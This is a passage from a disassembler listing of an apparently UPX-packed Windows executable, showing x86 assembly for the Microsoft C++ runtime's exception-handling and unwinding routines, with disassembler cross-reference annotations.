esp, [ebp+ms_exc.old_esp] and [ebp+ms_exc.disabled], 0 mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_20] loc_410341: ; CODE XREF: sub_4102A5+80j mov [ebp+var_1C], esi jmp short loc_4102DC ; --------------------------------------------------------------------------- loc_410346: ; CODE XREF: sub_4102A5+3Aj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41036B cmp esi, [ebp+arg_C] jz short loc_41035C call sub_40E077 loc_41035C: ; CODE XREF: sub_4102A5+B0j mov [ebx+8], esi call __SEH_epilog4 retn sub_4102A5 endp ; =============== S U B R O U T I N E ======================================= sub_410365 proc near ; DATA XREF: UPX0:00426A88o mov ebx, [ebp+8] mov esi, [ebp-1Ch] sub_410365 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41036B proc near ; CODE XREF: sub_4102A5+A8p call sub_40E38F cmp dword ptr [eax+90h], 0 jle short locret_410385 call sub_40E38F add eax, 90h dec dword ptr [eax] locret_410385: ; CODE XREF: sub_41036B+Cj retn sub_41036B endp ; =============== S U B R O U T I N E ======================================= sub_410386 proc near ; CODE XREF: sub_41050D+93p mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_4103C8 cmp dword ptr [eax+10h], 3 jnz short loc_4103C8 mov ecx, [eax+14h] cmp ecx, 19930520h jz short loc_4103B1 cmp ecx, 19930521h jz short loc_4103B1 cmp ecx, 19930522h jnz short loc_4103C8 loc_4103B1: ; CODE XREF: sub_410386+19j ; sub_410386+21j cmp dword ptr [eax+1Ch], 0 jnz short loc_4103C8 call sub_40E38F xor ecx, ecx inc ecx mov [eax+20Ch], ecx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4103C8: ; CODE XREF: sub_410386+8j ; sub_410386+Ej ... xor eax, eax retn sub_410386 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103CB proc near ; CODE XREF: sub_40BE20+10Ap ; sub_410633+6Ep ... ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 8 push offset dword_426A98 call __SEH_prolog4 mov ecx, [ebp+arg_0] test ecx, ecx jz short loc_410408 cmp dword ptr [ecx], 0E06D7363h jnz short loc_410408 mov eax, [ecx+1Ch] test eax, eax jz short loc_410408 mov eax, [eax+4] test eax, eax jz short loc_410408 and [ebp+ms_exc.disabled], 0 push eax push dword ptr [ecx+18h] call sub_40C0B9 mov [ebp+ms_exc.disabled], 0FFFFFFFEh loc_410408: ; CODE XREF: sub_4103CB+11j ; sub_4103CB+19j ... call __SEH_epilog4 retn sub_4103CB endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] call sub_40E02B int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410420 proc near ; CODE XREF: sub_4106A9+86p ; sub_4106A9+113p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov eax, [ecx] push esi mov esi, [ebp+arg_0] add eax, esi cmp dword ptr [ecx+4], 0 jl short loc_410446 mov edx, [ecx+4] mov ecx, [ecx+8] mov esi, [edx+esi] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_410446: ; CODE XREF: sub_410420+14j pop esi pop ebp retn sub_410420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410449 proc near ; CODE XREF: sub_410A1C+10Fp ; sub_410A1C+29Fp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp sub esp, 0Ch test edi, edi jnz short loc_41045F call sub_40E077 call sub_40E02B loc_41045F: ; CODE XREF: sub_410449+Aj and [ebp+var_8], 0 cmp dword ptr [edi], 0 mov [ebp+var_1], 0 jle short loc_4104BF push ebx push esi loc_41046E: ; CODE XREF: sub_410449+72j mov eax, [ebp+arg_0] mov eax, [eax+1Ch] mov eax, [eax+0Ch] mov ebx, [eax] lea esi, [eax+4] test ebx, ebx jle short loc_4104B3 mov eax, [ebp+var_8] shl eax, 4 mov [ebp+var_C], eax loc_410489: ; CODE XREF: sub_410449+62j mov ecx, [ebp+arg_0] push dword ptr [ecx+1Ch] mov eax, [esi] push eax mov eax, [edi+4] add eax, [ebp+var_C] push eax call sub_4101FD add esp, 0Ch test eax, eax jnz short loc_4104AF dec ebx add esi, 4 test ebx, ebx jg short loc_410489 jmp short loc_4104B3 ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_410449+5Aj mov [ebp+var_1], 1 loc_4104B3: ; CODE XREF: sub_410449+35j ; sub_410449+64j inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [edi] jl short loc_41046E pop esi pop ebx loc_4104BF: ; CODE XREF: sub_410449+21j mov al, [ebp+var_1] leave retn sub_410449 endp ; =============== S U B R O U T I N E ======================================= sub_4104C4 proc near ; CODE XREF: sub_410A1C+2FBp push 4 mov eax, offset loc_41BEEF call sub_40C4A0 call sub_40E38F cmp dword ptr [eax+94h], 0 jz short loc_4104E3 call sub_40E077 loc_4104E3: ; CODE XREF: sub_4104C4+18j and dword ptr [ebp-4], 0 call sub_40E064 or dword ptr [ebp-4], 0FFFFFFFFh call sub_40E02B loc_4104F5: ; DATA XREF: UPX0:00426AC0o call sub_40E38F mov ecx, [ebp+8] push 0 push 0 mov [eax+94h], ecx call sub_40C03B int 3 ; Trap to Debugger sub_4104C4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41050D proc near ; CODE XREF: sub_4108BA+59p var_3C = byte ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch ; FUNCTION CHUNK AT 00410628 SIZE 00000005 BYTES push 2Ch push offset dword_426B10 call __SEH_prolog4 mov ebx, ecx mov edi, [ebp+arg_4] mov esi, [ebp+arg_0] mov [ebp+var_1C], ebx and [ebp+var_34], 0 mov eax, [edi-4] mov [ebp+var_24], eax push dword ptr [esi+18h] lea eax, [ebp+var_3C] push eax call sub_40C368 pop ecx pop ecx mov [ebp+var_28], eax call sub_40E38F mov eax, [eax+88h] mov [ebp+var_2C], eax call sub_40E38F mov eax, [eax+8Ch] mov [ebp+var_30], eax call sub_40E38F mov [eax+88h], esi call sub_40E38F mov ecx, [ebp+arg_8] mov [eax+8Ch], ecx and [ebp+ms_exc.disabled], 0 xor eax, eax inc eax mov [ebp+arg_8], eax mov [ebp+ms_exc.disabled], eax push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+arg_C] push edi call sub_40C40D add esp, 14h mov [ebp+var_1C], eax and [ebp+ms_exc.disabled], 0 jmp short loc_41060C ; --------------------------------------------------------------------------- loc_41059D: ; DATA XREF: UPX0:00426B30o mov eax, [ebp+ms_exc.exc_ptr] call sub_410386 retn ; --------------------------------------------------------------------------- loc_4105A6: ; DATA XREF: UPX0:00426B34o mov esp, [ebp+ms_exc.old_esp] call sub_40E38F and dword ptr [eax+20Ch], 0 mov esi, [ebp+arg_C] mov edi, [ebp+arg_4] cmp dword ptr [esi+4], 80h jg short loc_4105CA movsx ecx, byte ptr [edi+8] jmp short loc_4105CD ; --------------------------------------------------------------------------- loc_4105CA: ; CODE XREF: sub_41050D+B5j mov ecx, [edi+8] loc_4105CD: ; CODE XREF: sub_41050D+BBj mov ebx, [esi+10h] and [ebp+var_20], 0 loc_4105D4: ; CODE XREF: sub_41050D+11Ej mov eax, [ebp+var_20] cmp eax, [esi+0Ch] jnb short loc_4105F4 imul eax, 14h add eax, ebx mov edx, [eax+4] cmp ecx, edx jle short loc_410628 cmp ecx, [eax+8] jg short loc_410628 mov eax, [esi+8] mov ecx, [eax+edx*8+8] loc_4105F4: ; CODE XREF: sub_41050D+CDj push ecx push esi push 0 push edi call sub_4102A5 add esp, 10h and [ebp+var_1C], 0 and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] loc_41060C: ; CODE XREF: sub_41050D+8Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov [ebp+arg_8], 0 call sub_410633 mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_41050D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41050D loc_410628: ; CODE XREF: sub_41050D+D9j ; sub_41050D+DEj inc [ebp+var_20] jmp short loc_4105D4 ; END OF FUNCTION CHUNK FOR sub_41050D ; =============== S U B R O U T I N E ======================================= sub_41062D proc near ; DATA XREF: UPX0:00426B28o mov edi, [ebp+0Ch] mov esi, [ebp+8] sub_41062D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_410633 proc near ; CODE XREF: sub_41050D+10Dp mov eax, [ebp-24h] mov [edi-4], eax push dword ptr [ebp-28h] call sub_40C3BB pop ecx call sub_40E38F mov ecx, [ebp-2Ch] mov [eax+88h], ecx call sub_40E38F mov ecx, [ebp-30h] mov [eax+8Ch], ecx cmp dword ptr [esi], 0E06D7363h jnz short locret_4106A8 cmp dword ptr [esi+10h], 3 jnz short locret_4106A8 mov eax, [esi+14h] cmp eax, 19930520h jz short loc_410684 cmp eax, 19930521h jz short loc_410684 cmp eax, 19930522h jnz short locret_4106A8 loc_410684: ; CODE XREF: sub_410633+41j ; sub_410633+48j cmp dword ptr [ebp-34h], 0 jnz short locret_4106A8 cmp dword ptr [ebp-1Ch], 0 jz short locret_4106A8 push dword ptr [esi+18h] call sub_40C394 pop ecx test eax, eax jz short locret_4106A8 push dword ptr [ebp+10h] push esi call sub_4103CB pop ecx pop ecx locret_4106A8: ; CODE XREF: sub_410633+31j ; sub_410633+37j ... retn sub_410633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4106A9 proc near ; CODE XREF: sub_410828+36p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 0Ch push offset dword_426B38 call __SEH_prolog4 xor edx, edx mov [ebp+var_1C], edx mov eax, [ebp+arg_8] mov ecx, [eax+4] cmp ecx, edx jz loc_410820 cmp [ecx+8], dl jz loc_410820 mov ecx, [eax+8] cmp ecx, edx jnz short loc_4106E4 test dword ptr [eax], 80000000h jz loc_410820 loc_4106E4: ; CODE XREF: sub_4106A9+2Dj mov eax, [eax] mov esi, [ebp+arg_4] test eax, eax js short loc_4106F1 lea esi, [ecx+esi+0Ch] loc_4106F1: ; CODE XREF: sub_4106A9+42j mov [ebp+ms_exc.disabled], edx xor ebx, ebx inc ebx push ebx test al, 8 jz short loc_41073D mov edi, [ebp+arg_0] push dword ptr [edi+18h] call sub_414737 pop ecx pop ecx test eax, eax jz loc_410803 push ebx push esi call sub_414737 pop ecx pop ecx test eax, eax jz loc_410803 mov eax, [edi+18h] mov [esi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41072E: ; CODE XREF: sub_4106A9+E7j push eax call sub_410420 pop ecx pop ecx mov [esi], eax jmp loc_410808 ; --------------------------------------------------------------------------- loc_41073D: ; CODE XREF: sub_4106A9+51j mov edi, [ebp+arg_C] mov eax, [ebp+arg_0] push dword ptr [eax+18h] test [edi], bl jz short loc_410792 call sub_414737 pop ecx pop ecx test eax, eax jz loc_410803 push ebx push esi call sub_414737 pop ecx pop ecx test eax, eax jz loc_410803 push dword ptr [edi+14h] mov eax, [ebp+arg_0] push dword ptr [eax+18h] push esi call sub_40CA30 add esp, 0Ch cmp dword ptr [edi+14h], 4 jnz loc_410808 mov eax, [esi] test eax, eax jz short loc_410808 add edi, 8 push edi jmp short loc_41072E ; --------------------------------------------------------------------------- loc_410792: ; CODE XREF: sub_4106A9+9Fj cmp [edi+18h], edx jnz short loc_4107CF call sub_414737 pop ecx pop ecx test eax, eax jz short loc_410803 push ebx push esi call sub_414737 pop ecx pop ecx test eax, eax jz short loc_410803 push dword ptr [edi+14h] add edi, 8 push edi mov eax, [ebp+arg_0] push dword ptr [eax+18h] call sub_410420 pop ecx pop ecx push eax push esi call sub_40CA30 add esp, 0Ch jmp short loc_410808 ; --------------------------------------------------------------------------- loc_4107CF: ; CODE XREF: sub_4106A9+ECj call sub_414737 pop ecx pop ecx test eax, eax jz short loc_410803 push ebx push esi call sub_414737 pop ecx pop ecx test eax, eax jz short loc_410803 push dword ptr [edi+18h] call sub_414737 pop ecx test eax, eax jz short loc_410803 test byte ptr [edi], 4 push 0 pop eax setnz al inc eax mov [ebp+var_1C], eax jmp short loc_410808 ; --------------------------------------------------------------------------- loc_410803: ; CODE XREF: sub_4106A9+62j ; sub_4106A9+73j ... call sub_40E077 loc_410808: ; CODE XREF: sub_4106A9+8Fj ; sub_4106A9+D7j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh mov eax, [ebp+var_1C] jmp short loc_410822 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+ms_exc.old_esp] call sub_40E02B loc_410820: ; CODE XREF: sub_4106A9+19j ; sub_4106A9+22j ... xor eax, eax loc_410822: ; CODE XREF: sub_4106A9+169j call __SEH_epilog4 retn sub_4106A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410828 proc near ; CODE XREF: sub_4108BA+13p ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 8 push offset dword_426B58 call __SEH_prolog4 mov eax, [ebp+arg_8] test dword ptr [eax], 80000000h jz short loc_410844 mov ebx, [ebp+arg_4] jmp short loc_41084E ; --------------------------------------------------------------------------- loc_410844: ; CODE XREF: sub_410828+15j mov ecx, [eax+8] mov edx, [ebp+arg_4] lea ebx, [ecx+edx+0Ch] loc_41084E: ; CODE XREF: sub_410828+1Aj and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_C] push esi push eax push [ebp+arg_4] mov edi, [ebp+arg_0] push edi call sub_4106A9 add esp, 10h dec eax jz short loc_410888 dec eax jnz short loc_4108A0 push 1 lea eax, [esi+8] push eax push dword ptr [edi+18h] call sub_410420 pop ecx pop ecx push eax push dword ptr [esi+18h] push ebx call sub_40C0B9 jmp short loc_4108A0 ; --------------------------------------------------------------------------- loc_410888: ; CODE XREF: sub_410828+3Fj lea eax, [esi+8] push eax push dword ptr [edi+18h] call sub_410420 pop ecx pop ecx push eax push dword ptr [esi+18h] push ebx call sub_40C0B9 loc_4108A0: ; CODE XREF: sub_410828+42j ; sub_410828+5Ej mov [ebp+ms_exc.disabled], 0FFFFFFFEh call __SEH_epilog4 retn sub_410828 endp ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] call sub_40E02B int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4108BA proc near ; CODE XREF: sub_410928+D6p ; sub_410A1C+24Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h mov edi, edi push ebp mov ebp, esp cmp [ebp+arg_10], 0 jz short loc_4108D5 push [ebp+arg_10] push ebx push esi push [ebp+arg_0] call sub_410828 add esp, 10h loc_4108D5: ; CODE XREF: sub_4108BA+9j cmp [ebp+arg_18], 0 push [ebp+arg_0] jnz short loc_4108E1 push esi jmp short loc_4108E4 ; --------------------------------------------------------------------------- loc_4108E1: ; CODE XREF: sub_4108BA+22j push [ebp+arg_18] loc_4108E4: ; CODE XREF: sub_4108BA+25j call sub_40C0C0 push dword ptr [edi] push [ebp+arg_C] push [ebp+arg_8] push esi call sub_4102A5 mov eax, [edi+4] push 100h push [ebp+arg_14] inc eax push [ebp+arg_C] mov [esi+8], eax push [ebp+arg_4] mov ecx, [ebx+0Ch] push esi push [ebp+arg_0] call sub_41050D add esp, 28h test eax, eax jz short loc_410926 push esi push eax call sub_40C087 loc_410926: ; CODE XREF: sub_4108BA+63j pop ebp retn sub_4108BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410928 proc near ; CODE XREF: sub_410A1C+327p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp push ecx push ecx push esi mov esi, [ebp+arg_0] cmp dword ptr [esi], 80000003h jz loc_410A19 push edi call sub_40E38F cmp dword ptr [eax+80h], 0 jz short loc_41098D call sub_40E38F lea edi, [eax+80h] call sub_40E13A cmp [edi], eax jz short loc_41098D cmp dword ptr [esi], 0E0434F4Dh jz short loc_41098D push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_40C17D add esp, 1Ch test eax, eax jnz loc_410A18 loc_41098D: ; CODE XREF: sub_410928+24j ; sub_410928+38j ... mov edi, [ebp+arg_10] cmp dword ptr [edi+0Ch], 0 jnz short loc_41099B call sub_40E077 loc_41099B: ; CODE XREF: sub_410928+6Cj mov esi, [ebp+arg_14] lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push esi push [ebp+arg_18] push edi call sub_40C2F3 mov edi, eax mov eax, [ebp+var_4] add esp, 14h cmp eax, [ebp+var_8] jnb short loc_410A18 push ebx loc_4109BE: ; CODE XREF: sub_410928+EDj cmp esi, [edi] jl short loc_410A09 cmp esi, [edi+4] jg short loc_410A09 mov eax, [edi+0Ch] mov ecx, [edi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_4109DF cmp byte ptr [ecx+8], 0 jnz short loc_410A09 loc_4109DF: ; CODE XREF: sub_410928+AFj lea ebx, [eax-10h] test byte ptr [ebx], 40h jnz short loc_410A09 push [ebp+arg_1C] mov esi, [ebp+arg_4] push [ebp+arg_18] push 0 push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_0] call sub_4108BA mov esi, [ebp+arg_14] add esp, 1Ch loc_410A09: ; CODE XREF: sub_410928+98j ; sub_410928+9Dj ... inc [ebp+var_4] mov eax, [ebp+var_4] add edi, 14h cmp eax, [ebp+var_8] jb short loc_4109BE pop ebx loc_410A18: ; CODE XREF: sub_410928+5Fj ; sub_410928+93j pop edi loc_410A19: ; CODE XREF: sub_410928+11j pop esi leave retn sub_410928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A1C proc near ; CODE XREF: sub_410D80+D6p var_2C = byte ptr -2Ch var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp sub esp, 2Ch mov ecx, [ebp+arg_4] push ebx mov ebx, [ebp+arg_10] mov eax, [ebx+4] cmp eax, 80h push esi push edi mov [ebp+var_1], 0 jg short loc_410A41 movsx ecx, byte ptr [ecx+8] jmp short loc_410A44 ; --------------------------------------------------------------------------- loc_410A41: ; CODE XREF: sub_410A1C+1Dj mov ecx, [ecx+8] loc_410A44: ; CODE XREF: sub_410A1C+23j cmp ecx, 0FFFFFFFFh mov [ebp+var_8], ecx jl short loc_410A50 cmp ecx, eax jl short loc_410A55 loc_410A50: ; CODE XREF: sub_410A1C+2Ej call sub_40E077 loc_410A55: ; CODE XREF: sub_410A1C+32j mov esi, [ebp+arg_0] mov edi, 0E06D7363h cmp [esi], edi jnz loc_410D1F cmp dword ptr [esi+10h], 3 mov ebx, 19930520h jnz loc_410B8C mov eax, [esi+14h] cmp eax, ebx jz short loc_410A8D cmp eax, 19930521h jz short loc_410A8D cmp eax, 19930522h jnz loc_410B8C loc_410A8D: ; CODE XREF: sub_410A1C+5Dj ; sub_410A1C+64j cmp dword ptr [esi+1Ch], 0 jnz loc_410B8C call sub_40E38F cmp dword ptr [eax+88h], 0 jz loc_410D5E call sub_40E38F mov esi, [eax+88h] mov [ebp+arg_0], esi call sub_40E38F mov eax, [eax+8Ch] push 1 push esi mov [ebp+arg_8], eax call sub_414737 pop ecx pop ecx test eax, eax jnz short loc_410AD8 call sub_40E077 loc_410AD8: ; CODE XREF: sub_410A1C+B5j cmp [esi], edi jnz short loc_410B02 cmp dword ptr [esi+10h], 3 jnz short loc_410B02 mov eax, [esi+14h] cmp eax, ebx jz short loc_410AF7 cmp eax, 19930521h jz short loc_410AF7 cmp eax, 19930522h jnz short loc_410B02 loc_410AF7: ; CODE XREF: sub_410A1C+CBj ; sub_410A1C+D2j cmp dword ptr [esi+1Ch], 0 jnz short loc_410B02 call sub_40E077 loc_410B02: ; CODE XREF: sub_410A1C+BEj ; sub_410A1C+C4j ... call sub_40E38F cmp dword ptr [eax+94h], 0 jz short loc_410B8C call sub_40E38F mov edi, [eax+94h] call sub_40E38F push [ebp+arg_0] xor esi, esi mov [eax+94h], esi call sub_410449 pop ecx test al, al jnz short loc_410B84 xor ebx, ebx cmp [edi], ebx jle short loc_410B58 loc_410B3B: ; CODE XREF: sub_410A1C+13Aj mov eax, [edi+4] mov ecx, [ebx+eax+4] push offset off_42A424 call sub_40B424 test al, al jnz short loc_410B5D inc esi add ebx, 10h cmp esi, [edi] jl short loc_410B3B loc_410B58: ; CODE XREF: sub_410A1C+11Dj ; sub_410A1C+30Dj call sub_40E02B loc_410B5D: ; CODE XREF: sub_410A1C+132j push 1 push [ebp+arg_0] call sub_4103CB pop ecx pop ecx push offset dword_41DCB0 lea ecx, [ebp+var_2C] call sub_4101AD push offset dword_426B74 lea eax, [ebp+var_2C] push eax call sub_40C03B loc_410B84: ; CODE XREF: sub_410A1C+117j mov esi, [ebp+arg_0] mov edi, 0E06D7363h loc_410B8C: ; CODE XREF: sub_410A1C+52j ; sub_410A1C+6Bj ... cmp [esi], edi jnz loc_410D1C cmp dword ptr [esi+10h], 3 jnz loc_410D1C mov eax, [esi+14h] cmp eax, ebx jz short loc_410BB7 cmp eax, 19930521h jz short loc_410BB7 cmp eax, 19930522h jnz loc_410D1C loc_410BB7: ; CODE XREF: sub_410A1C+187j ; sub_410A1C+18Ej mov edi, [ebp+arg_10] cmp dword ptr [edi+0Ch], 0 jbe loc_410C83 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_10] push eax push [ebp+var_8] push [ebp+arg_18] push edi call sub_40C2F3 add esp, 14h mov edi, eax loc_410BDD: ; CODE XREF: sub_410A1C+25Fj mov eax, [ebp+var_10] cmp eax, [ebp+var_1C] jnb loc_410C80 mov eax, [ebp+var_8] cmp [edi], eax jg loc_410C75 cmp eax, [edi+4] jg short loc_410C75 mov eax, [edi+10h] mov [ebp+var_C], eax mov eax, [edi+0Ch] mov [ebp+var_18], eax test eax, eax jle short loc_410C75 loc_410C09: ; CODE XREF: sub_410A1C+22Dj mov eax, [esi+1Ch] mov eax, [eax+0Ch] lea ebx, [eax+4] mov eax, [eax] mov [ebp+var_14], eax test eax, eax jle short loc_410C3E loc_410C1B: ; CODE XREF: sub_410A1C+220j push dword ptr [esi+1Ch] mov eax, [ebx] push eax push [ebp+var_C] mov [ebp+var_20], eax call sub_4101FD add esp, 0Ch test eax, eax jnz short loc_410C4D dec [ebp+var_14] add ebx, 4 cmp [ebp+var_14], eax jg short loc_410C1B loc_410C3E: ; CODE XREF: sub_410A1C+1FDj dec [ebp+var_18] add [ebp+var_C], 10h cmp [ebp+var_18], 0 jg short loc_410C09 jmp short loc_410C75 ; --------------------------------------------------------------------------- loc_410C4D: ; CODE XREF: sub_410A1C+215j push [ebp+arg_1C] mov ebx, [ebp+var_C] push [ebp+arg_18] mov [ebp+var_1], 1 push [ebp+var_20] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push esi mov esi, [ebp+arg_4] call sub_4108BA mov esi, [ebp+arg_0] add esp, 1Ch loc_410C75: ; CODE XREF: sub_410A1C+1D2j ; sub_410A1C+1DBj ... inc [ebp+var_10] add edi, 14h jmp loc_410BDD ; --------------------------------------------------------------------------- loc_410C80: ; CODE XREF: sub_410A1C+1C7j mov edi, [ebp+arg_10] loc_410C83: ; CODE XREF: sub_410A1C+1A2j cmp [ebp+arg_14], 0 jz short loc_410C93 push 1 push esi call sub_4103CB pop ecx pop ecx loc_410C93: ; CODE XREF: sub_410A1C+26Bj cmp [ebp+var_1], 0 jnz loc_410D4B mov eax, [edi] and eax, 1FFFFFFFh cmp eax, 19930521h jb loc_410D4B mov edi, [edi+1Ch] test edi, edi jz loc_410D4B push esi call sub_410449 pop ecx test al, al jnz loc_410D4B call sub_40E38F call sub_40E38F call sub_40E38F mov [eax+88h], esi call sub_40E38F cmp [ebp+arg_1C], 0 mov ecx, [ebp+arg_8] mov [eax+8Ch], ecx push esi jnz short loc_410CF8 push [ebp+arg_4] jmp short loc_410CFB ; --------------------------------------------------------------------------- loc_410CF8: ; CODE XREF: sub_410A1C+2D5j push [ebp+arg_1C] loc_410CFB: ; CODE XREF: sub_410A1C+2DAj call sub_40C0C0 mov esi, [ebp+arg_10] push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_4102A5 add esp, 10h push dword ptr [esi+1Ch] call sub_4104C4 loc_410D1C: ; CODE XREF: sub_410A1C+172j ; sub_410A1C+17Cj ... mov ebx, [ebp+arg_10] loc_410D1F: ; CODE XREF: sub_410A1C+43j cmp dword ptr [ebx+0Ch], 0 jbe short loc_410D4B cmp [ebp+arg_14], 0 jnz loc_410B58 push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_8] push ebx push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call sub_410928 add esp, 20h loc_410D4B: ; CODE XREF: sub_410A1C+27Bj ; sub_410A1C+28Dj ... call sub_40E38F cmp dword ptr [eax+94h], 0 jz short loc_410D5E call sub_40E077 loc_410D5E: ; CODE XREF: sub_410A1C+87j ; sub_410A1C+33Bj pop edi pop esi pop ebx leave retn sub_410A1C endp ; --------------------------------------------------------------------------- mov edi, edi push ebp mov ebp, esp push esi push dword ptr [ebp+8] mov esi, ecx call sub_40AD27 mov dword ptr [esi], offset off_41DCA8 mov eax, esi pop esi pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410D80 proc near ; CODE XREF: UPX0:0040C135p ; sub_40C14A+28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h mov edi, edi push ebp mov ebp, esp push ebx push esi push edi call sub_40E38F cmp dword ptr [eax+20Ch], 0 mov eax, [ebp+arg_10] mov ecx, [ebp+arg_0] mov edi, 0E06D7363h mov esi, 1FFFFFFFh mov ebx, 19930522h jnz short loc_410DCB mov edx, [ecx] cmp edx, edi jz short loc_410DCB cmp edx, 80000026h jz short loc_410DCB mov edx, [eax] and edx, esi cmp edx, ebx jb short loc_410DCB test byte ptr [eax+20h], 1 jnz loc_410E5E loc_410DCB: ; CODE XREF: sub_410D80+29j ; sub_410D80+2Fj ... test byte ptr [ecx+4], 66h jz short loc_410DF4 cmp dword ptr [eax+4], 0 jz loc_410E5E cmp [ebp+arg_14], 0 jnz short loc_410E5E push 0FFFFFFFFh push eax push [ebp+arg_C] push [ebp+arg_4] call sub_4102A5 add esp, 10h jmp short loc_410E5E ; --------------------------------------------------------------------------- loc_410DF4: ; CODE XREF: sub_410D80+4Fj cmp dword ptr [eax+0Ch], 0 jnz short loc_410E0C mov edx, [eax] and edx, esi cmp edx, 19930521h jb short loc_410E5E cmp dword ptr [eax+1Ch], 0 jz short loc_410E5E loc_410E0C: ; CODE XREF: sub_410D80+78j cmp [ecx], edi jnz short loc_410E42 cmp dword ptr [ecx+10h], 3 jb short loc_410E42 cmp [ecx+14h], ebx jbe short loc_410E42 mov edx, [ecx+1Ch] mov edx, [edx+8] test edx, edx jz short loc_410E42 movzx esi, byte ptr [ebp+arg_1C] push esi push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call edx add esp, 20h jmp short loc_410E61 ; --------------------------------------------------------------------------- loc_410E42: ; CODE XREF: sub_410D80+8Ej ; sub_410D80+94j ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call sub_410A1C add esp, 20h loc_410E5E: ; CODE XREF: sub_410D80+45j ; sub_410D80+55j ... xor eax, eax inc eax loc_410E61: ; CODE XREF: sub_410D80+C0j pop edi pop esi pop ebx pop ebp retn sub_410D80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 